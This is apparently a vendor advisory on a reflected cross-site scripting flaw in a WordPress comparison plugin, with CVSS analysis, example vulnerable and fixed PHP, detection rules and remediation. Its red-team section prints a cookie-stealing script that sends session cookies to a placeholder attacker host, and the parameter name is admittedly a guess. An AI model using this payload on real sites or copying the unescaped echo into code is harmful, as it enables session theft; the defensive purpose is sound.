CVE-2025-28975

Executive Summary

CVE-2025-28975 is a reflected Cross-Site Scripting (XSS) vulnerability in the Alike - WordPress Custom Post Comparison plugin by redqteam, affecting versions through 3.0.1. The vulnerability stems from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript into a reflected response. This can lead to session hijacking, credential theft, or defacement within the context of the victim's browser session on the WordPress site.

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin via the WordPress admin dashboard or directly from the repository are affected. No official patch has been released as of the latest analysis. The plugin is not available on NPM, PyPI, Go, or Ruby ecosystems.

CVSS Breakdown & Threat Level

• CVSS Score: 7.1 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
• Attack Vector (AV): Network – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): None – No authentication needed.
• User Interaction (UI): Required – The victim must click a crafted link.
• Scope (S): Changed – The injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low – Limited data exposure possible.
• Integrity (I): Low – Limited ability to modify content.
• Availability (A): Low – Limited ability to disrupt service.

Threat Level: High. Reflected XSS in a WordPress plugin can be weaponized via phishing campaigns, leading to account takeover or malware distribution.

Deep Dive & Mechanics

The vulnerability exists in the Alike plugin's handling of user-supplied parameters in HTTP requests. When a request is made to a vulnerable endpoint (likely a shortcode or AJAX handler), the plugin reflects the input without proper sanitization or output encoding. An attacker can craft a URL containing malicious JavaScript, and when a victim clicks the link, the script executes in the victim's browser.

Root Cause: The plugin uses functions like echo $_GET['param'] or similar without applying WordPress's built-in escaping functions (e.g., esc_html(), esc_attr(), or wp_kses()).

Attack Flow:

1. Attacker crafts a URL: https://victim-site.com/?alike_param=<script>alert('XSS')</script>
2. Victim clicks the link (e.g., via phishing email).
3. The plugin processes the parameter and reflects it in the HTML response.
4. The browser executes the injected script.

WordPress Ecosystem Context: This is a WordPress plugin vulnerability. The attack surface is limited to sites running the Alike plugin. No server-side compromise occurs; the attack targets the client browser.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code pattern is described below.

Vulnerable Code (Example):

<?php
// In a template or shortcode handler
$param = $_GET['alike_param'];
echo "<div class='alike-result'>" . $param . "</div>";
?>

Patched Code (Hypothetical):

<?php
$param = isset($_GET['alike_param']) ? sanitize_text_field($_GET['alike_param']) : '';
echo "<div class='alike-result'>" . esc_html($param) . "</div>";
?>

The patch would use esc_html() to encode HTML special characters, preventing script execution.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A WordPress site with Alike plugin version <= 3.0.1.
• A victim user with a valid session.

Exploitation Steps:

1. Identify a vulnerable parameter (e.g., alike_param).
2. Craft a payload: <script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
3. URL-encode the payload and embed it in a link: https://victim-site.com/?alike_param=%3Cscript%3Edocument.location%3D%27https%3A%2F%2Fattacker.com%2Fsteal.php%3Fcookie%3D%27%2Bdocument.cookie%3C%2Fscript%3E
4. Send the link to the victim via email or social engineering.
5. When the victim clicks, the script executes and sends the cookie to the attacker's server.

Lab Setup:

• Use a local WordPress installation (e.g., via Docker) with the Alike plugin.
• Set up a simple HTTP server (e.g., python -m http.server 8080) to capture cookies.
• Test the exploit in a controlled environment.

Blue Team

Detection:

• Monitor web server logs for requests containing <script> tags or suspicious parameters.
• Use WAF rules to block reflected XSS patterns.
• Implement Content Security Policy (CSP) headers to mitigate script execution.

Hunting:

• Search for alike_param in HTTP request logs.
• Look for unusual referrer headers or user-agent strings.

Indicators of Compromise (IOCs)

• Network:
  • HTTP requests containing alike_param with encoded JavaScript.
  • Outbound connections to attacker-controlled domains from victim browsers.
• Host:
  • Unusual JavaScript execution in browser console.
  • Unexpected redirects or pop-ups.
• File:
  • No file-based IOCs as this is a client-side attack.

Detection Engineering

YARA Rule

rule CVE_2025_28975_Reflected_XSS {
    meta:
        description = "Detects reflected XSS attempts targeting Alike WordPress plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-28975"
    strings:
        $param = "alike_param"
        $script = /<script[^>]*>.*<\/script>/i
    condition:
        $param and $script
}

Sigma Rule

title: Reflected XSS Attempt Against Alike Plugin
id: 8f3b2a1c-5d6e-4f7a-8b9c-0d1e2f3a4b5c
status: experimental
description: Detects HTTP requests with malicious script in alike_param parameter
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains: "alike_param"
        c-uri|contains: "<script"
    condition: selection
falsepositives:
    - Legitimate use of script tags in non-malicious contexts (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-28975 Reflected XSS in Alike Plugin"; flow:to_server,established; content:"alike_param"; http_uri; content:"<script"; http_uri; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Implement a Web Application Firewall (WAF) with rules to block reflected XSS patterns.
3. Add Content Security Policy (CSP) headers: Content-Security-Policy: default-src 'self'; script-src 'self'
4. Educate users about phishing links and suspicious URLs.

Long-Term Fix:

• The vendor (redqteam) must release a patched version that properly sanitizes and escapes user input.
• Users should monitor the WordPress plugin repository for updates.

Workaround:

• Use a security plugin like Wordfence to add virtual patching.
• Manually edit the plugin files to add esc_html() around reflected parameters (not recommended for non-developers).

Valters IT
Securing Digital Frontiers